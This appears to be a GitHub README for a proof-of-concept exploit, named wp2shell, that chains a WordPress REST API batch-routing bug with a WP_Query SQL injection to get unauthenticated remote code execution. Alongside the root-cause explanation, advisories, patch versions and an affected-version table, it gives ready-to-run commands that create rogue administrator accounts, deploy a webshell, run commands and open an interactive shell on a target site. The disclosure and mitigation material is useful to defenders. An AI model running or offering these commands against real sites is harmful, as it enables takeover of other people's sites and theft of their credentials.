
WordPress REST API SQLi to RCE PoC (CVE-2026-63030 & CVE-2026-60137)
TL;DR — An unauthenticated attacker can chain a WordPress REST API batch-routing bug with a SQL injection in
WP_Queryto reach full remote code execution on a stock WordPress install — no plugins, no account, no user interaction. Discovered by Adam Kues (Assetnote / Searchlight Cyber), who named it wp2shell. Patched July 17, 2026 in 6.9.5, 7.0.2, and 6.8.6.
CVE-2026-63030 is WordPress Core's REST API batch endpoint (/wp-json/batch/v1) mishandling failed sub-requests badly enough that a later sub-request gets dispatched under the wrong route. On its own, that's a logic bug. Chained with CVE-2026-60137 — a SQL injection in WP_Query's author__not_in parameter — it becomes unauthenticated remote code execution.
WordPress rates CVE-2026-63030 Critical and CVE-2026-60137 High; third-party CVSS estimates vary by tracker (roughly 7.5 and 9.1 respectively), since neither individual score fully captures what the chain does. Treat this as critical regardless of which single number you're shown — WordPress considered it serious enough to force automatic updates onto every affected site.
Root cause — batch bookkeeping desync. When a sub-request in a batch fails validation, the resulting WP_Error is recorded in an internal $validation[] array — but the parallel $matches[] array used for routing isn't updated to match. That one-item gap shifts every later sub-request by one position: sub-request N ends up dispatched using the route handler meant for sub-request N+1.
Sanitization bypass. Running under a handler it was never routed to, the sub-request skips that handler's own input validation — including type and is_array() checks.
SQL injection. That gap lets attacker-controlled input reach WP_Query's author__not_in parameter as a raw string instead of an array. The is_array() guard that would normally reject it never runs, so the value is interpolated directly into a NOT IN (...) clause.
Path to compromise. The injection is SELECT-only — no stacked queries — but on hosts where the database user has FILE privilege, that's enough to write a PHP webshell into the web root. Where it isn't available, the same injection point can instead blind/UNION-dump the wp_users table for admin password hashes. Either way: no account, no plugin, no user interaction required.
sequenceDiagram
participant A as Attacker
participant B as Batch Handler
participant Q as WP_Query
participant D as MySQL
A->>B: POST /wp-json/batch/v1 (crafted multi-request batch)
Note over B: Failed sub-request recorded in one internal array but not the other — indexes drift by one
B->>B: Sub-request N dispatched with sub-request N+1's route handler
Note over B: Wrong handler context — that route's input validation never runs
B->>Q: author__not_in passed as raw string, not array
Note over Q: is_array() guard skipped
Q->>D: SELECT ... WHERE post_author NOT IN (attacker string)
alt DB user has FILE privilege
D-->>A: Writes PHP webshell to web root → RCE
else No FILE privilege
D-->>A: Blind/UNION injection dumps admin password hashes
end
git clone htttps://github.com/GhostInExile/CVE-2026-63030-Wp2Shell
cd CVE-2026-63030-Wp2Shell
pip install -r requirements.txt
python3 CVE-2026-63030.py -t https://target.com --test
# Auto-generate credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin
# Custom credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin -u myadmin -p mypassword
# Auto-create admin, deploy shell, execute single command
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami"
# Interactive shell mode
python3 CVE-2026-63030.py -t https://target.com --shell -i
# Use existing credentials
python3 CVE-2026-63030.py -t https://target.com --shell -U admin -P password -c "id"
# Cleanup after shell session
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" --cleanup
# Cleanup only (requires shell URL from previous session)
python3 CVE-2026-63030.py -t https://target.com --cleanup \
-U created_admin -P password \
--shell-url "https://target.com/wp-content/plugins/maint-xxx/maint-xxx.php"
# Use proxy
python3 CVE-2026-63030.py -t https://target.com --test --proxy http://127.0.0.1:8080
# Custom timeout
python3 CVE-2026-63030.py -t https://target.com --test --timeout 60
GHSA-ff9f-jf42-662q (route confusion) · GHSA-fpp7-x2x2-2mjf (SQLi)CVE-2026-63030) — reported by Adam Kues of Assetnote / Searchlight Cyber via WordPress's HackerOne program.CVE-2026-60137) — reported separately, as a team, by TF1T, dtro, and haongo.6.9.5, 7.0.2, 6.8.6, or later — the only complete fix. WordPress enabled forced automatic updates for affected sites; confirm yours actually applied rather than assuming./wp-json/batch/v1 and ?rest_route=/batch/v1. Emergency measure only — this can break legitimate batch API use (e.g. block-based editing) and isn't a substitute for patching.| WordPress version | SQLi (CVE-2026-60137) | Route confusion (CVE-2026-63030) | Real-world risk |
|---|
| < 6.8.0 | — | — | Not affected |
| 6.8.0 – 6.8.5 | ✅ | — | SQLi only — needs a plugin/theme to pass untrusted input into author__not_in; not reachable pre-auth on core alone. Patch anyway. |
| 6.9.0 – 6.9.4 | ✅ | ✅ | Unauthenticated RCE |
| 7.0.0 – 7.0.1 | ✅ | ✅ | Unauthenticated RCE |
| 7.1 Beta 1 | ✅ | ✅ | Unauthenticated RCE (beta channel) |